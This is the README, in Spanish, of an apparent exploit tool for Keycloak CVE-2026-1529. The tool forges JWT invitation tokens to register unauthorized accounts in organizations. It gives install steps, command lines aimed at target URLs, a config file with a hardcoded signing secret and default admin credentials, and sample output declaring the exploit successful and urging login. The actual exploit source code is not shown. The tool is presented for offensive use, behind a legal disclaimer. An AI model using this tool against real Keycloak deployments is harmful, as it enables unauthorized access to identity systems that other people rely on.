
Keycloak: Registro de organización no autorizado mediante una validación incorrecta del token de invitación
CVE-2026-1529: Keycloak - Registro de organización no autorizado mediante validación incorrecta del token de invitación
⚠️ ADVERTENCIA: Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal.
Esta herramienta demuestra una vulnerabilidad crítica en Keycloak (CVE-2026-1529) que permite el registro de organizaciones no autorizadas mediante la validación incorrecta de tokens de invitación JWT. El exploit manipula los tokens de invitación para obtener acceso no autorizado a instancias de Keycloak.
Detalles de la Vulnerabilidad:
# Clonar el repositorio
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Crear entorno virtual
python3 -m venv venv
source venv/bin/activate # En Windows: venv\Scripts\activate
# Instalar dependencias
pip install -r requirements.txt
# Crear estructura de directorios
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Descargar archivos de releases o copiar manualmente
# Luego instalar dependencias
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Script principal del exploit
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
├── config/
│ └── default_config.json # Archivo de configuración
├── utils/
│ ├── __init__.py # Inicializador del paquete
│ ├── http_utils.py # Utilidades del cliente HTTP
│ ├── jwt_utils.py # Manipulación de JWT
│ └── crypto_utils.py # Utilidades criptográficas
├── logs/ # Registros generados automáticamente
└── output/
└── reports/ # Informes de explotación
python3 keycloak-exploit.py https://target-keycloak.com
# Con token de invitación personalizado
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Con ID de organización personalizado
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Con archivo de configuración personalizado
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Habilitar registro de depuración
python3 keycloak-exploit.py -d https://target.com
# Mostrar ayuda
python3 keycloak-exploit.py -h
# Mostrar versión
python3 keycloak-exploit.py -v
Edite config/default_config.json para personalizar los parámetros del exploit:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
El exploit funciona en los siguientes pasos:
Verificación de Vulnerabilidad
Generación/Manipulación de Tokens
Registro de Usuario
Verificación de Inicio de Sesión
Generación de Informes
output/reports/┌─────────────────┐
│ Verificación │
│ del Objetivo │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Generar/Obtener│
│ Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Manipular Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Registrar Usuario│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Prueba de │
│ Inicio Sesión │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Generar Informe│
└─────────────────┘
============================================================
RESULTADOS DEL EXPLOIT CVE-2026-1529
============================================================
✓ El objetivo es vulnerable a CVE-2026-1529
🎯 ¡EXPLOIT EXITOSO!
Nombre de usuario: admin_user_2026
Contraseña: KeycloakCVE2026!
Correo electrónico: [email protected]
Enlace de inicio de sesión: https://target.com/realms/master/account
📄 Informe guardado en: output/reports/exploit_report_20260211_050507.txt
🔐 ¡Use las credenciales proporcionadas para acceder a la instancia de Keycloak!
⚠️ Esto demuestra acceso no autorizado debido a CVE-2026-1529
============================================================
por f3ds cr3w est, 2002
============================================================
Se guarda un informe detallado en output/reports/ que contiene:
Los registros se guardan en el directorio logs/ con información detallada de la ejecución.
Solución:
# Asegúrese de estar en el directorio correcto
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
Solución:
# Asegúrese de que el directorio config exista
mkdir -p config
# Copie o cree default_config.json en config/
Solución: Esto se ha corregido en la última versión. Actualice urllib3:
pip install --upgrade urllib3
Posibles razones:
Solución:
# Habilite el registro de depuración para ver más detalles
python3 keycloak-exploit.py -d https://target.com
Solución:
# Aumente el tiempo de espera en config/default_config.json
"timeout": 60
Habilite el registro detallado para solucionar problemas:
python3 keycloak-exploit.py -d https://target.com
Esto mostrará:
⚠️ AVISO LEGAL IMPORTANTE ⚠️
Esta herramienta se proporciona SOLO con fines EDUCATIVOS y de PRUEBAS DE SEGURIDAD AUTORIZADAS.
Al usar esta herramienta, usted acepta que:
1. Solo usará esta herramienta en sistemas que posea o para los que tenga
permiso explícito por escrito para probar.
2. Entiende que el acceso no autorizado a sistemas informáticos es ilegal
según leyes que incluyen, entre otras:
- Computer Fraud and Abuse Act (CFAA) - Estados Unidos
- Computer Misuse Act - Reino Unido
- Legislación similar en otros países
3. Acepta toda la responsabilidad por cualquier consecuencia del uso de esta herramienta.
4. Los autores y colaboradores no son responsables de ningún uso indebido o daño
causado por esta herramienta.
5. Esta herramienta se proporciona "TAL CUAL" sin garantía de ningún tipo.
ÚSELA BAJO SU PROPIO RIESGO. EL ACCESO NO AUTORIZADO ES UN DELITO.
¡Las contribuciones son bienvenidas! Siga estas pautas:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)# Clone su fork
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Cree un entorno virtual
python3 -m venv venv
source venv/bin/activate
# Instale dependencias
pip install -r requirements.txt
# Haga sus cambios y pruebe
python3 keycloak-exploit.py https://test-target.com
Creado por: f3ds cr3w est, 2002
Para preguntas, problemas o inquietudes de seguridad:
Recuerde: Practique siempre la divulgación responsable y la piratería ética. Ref: https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation Hecho con ❤️ por f3ds cr3w est, 2002
| Argumento | Corto | Descripción |
|---|
target | - | URL de Keycloak objetivo (obligatorio) |
--token | -t | Token de invitación personalizado |
--org-id | -o | ID de organización personalizado |
--config | -c | Ruta al archivo de configuración |
--debug | -d | Habilitar registro de depuración |
--version | -v | Mostrar información de versión |
--help | -h | Mostrar mensaje de ayuda |
| Sección | Parámetro | Descripción | Predeterminado |
|---|
exploit | default_username | Nombre de usuario para el registro | admin_user_2026 |
exploit | default_password | Contraseña para el registro | KeycloakCVE2026! |
exploit | default_email | Correo electrónico para el registro | [email protected] |
exploit | timeout | Tiempo de espera de solicitudes HTTP (segundos) | 30 |
exploit | max_retries | Máximo de reintentos HTTP | 3 |
jwt | algorithm | Algoritmo de firma JWT | HS256 |
jwt | secret_key | Clave secreta JWT | Personalizado |
jwt | token_expiry | Caducidad del token (segundos) | 3600 |